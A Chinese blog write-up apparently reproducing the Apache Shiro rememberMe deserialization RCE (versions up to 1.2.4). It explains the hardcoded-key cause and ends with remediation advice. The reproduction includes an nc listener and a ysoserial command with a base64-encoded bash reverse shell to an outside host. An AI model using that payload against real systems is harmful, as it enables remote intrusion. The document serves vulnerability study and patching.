shiro反序列化漏洞

shrio反序列化漏洞

一、漏洞介绍

Shiro 是 Java 的一个安全框架。Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
参考文章:http://www.secwk.com/2019/09/18/2818/

二、影响范围

Apache Shiro <= 1.2.4

三、漏洞复现

恶意 Cookie rememberMe值构造前16字节的密钥–>后面加入序列化参数–>AES加密–>base64编码–>发送cookie
这是我们的漏洞环境
在这里插入图片描述
用burp抓包,看一下响应
在这里插入图片描述
返回包用有个Set-Cookie: rememberMe=deleteMe;
可以用我们的shiro检测工具测试一下
ShiroScan地址:https://github.com/sv3nbeast/ShiroScan
这个工具还是挺全的在这里插入图片描述
在这里插入图片描述
成功打到DNSLOG 返回信息
检测到有这个漏洞,我们就利用下,看能不能反弹个shell
首先在我们服务器开一个nc监听
在这里插入图片描述
然后进http://www.jackson-t.ca/runtime-exec-payloads.html
在这里插入图片描述
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1299 CommonsCollections4 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuMTIzLjEyMy4xMjMvNzc3IDA+JjE=}|{base64,-d}|{bash,-i}”
在这里插入图片描述

python3 shiro_exp.py -u 漏洞地址 -lh 服务器地址 -lp 监听端口在这里插入图片描述
将生成的值放到burp抓到的数据包里面
在这里插入图片描述
在这里插入图片描述
然后我们的服务器这边就弹到shell了
反正我是搞了一整天,最后nc就是不弹,搞这东西需要细心,一个符号出错可能就不行

四、漏洞修复

先说结论:无论是否升级shiro到1.2.5及以上,如果shiro的rememberMe功能的AES密钥一旦泄露,就会导致反序列化漏洞。
跟了shiro 1.3.2的代码,看到官方的操作如下:
删除代码里的默认密钥
默认配置里注释了默认密钥
如果不配置密钥,每次会重新随机一个密钥
可以看到并没有对反序列化做安全限制,只是在逻辑上对该漏洞进行了处理。如果在配置里自己单独配置AES的密钥,并且密钥一旦泄露,那么漏洞依然存在。所以漏洞修复的话,我建议下面的方案同时进行:
升级shiro到1.2.5及以上如果在配置里配置了密钥,那么请一定不要使用网上的密钥,一定不要!!请自己base64一个AES的密钥,或者利用官方提供的方法生成
总结
标准的AES的加解密只跟私钥key和加密模式有关,和IV无关。
为了证明反序列化漏洞确实存在,可以利用ysoserial的URLDNS gadget进行验证,但是默认会有TTL缓存机制,默认10s。
反序列化导致的命令执行需要两个点:
readObject()反序列化的内容可控。
应用引用的jar包中存在可命令执行的Gadget Chain。

原创文章 8 获赞 6 访问量 1142

猜你喜欢

转载自blog.csdn.net/weixin_44578334/article/details/105821240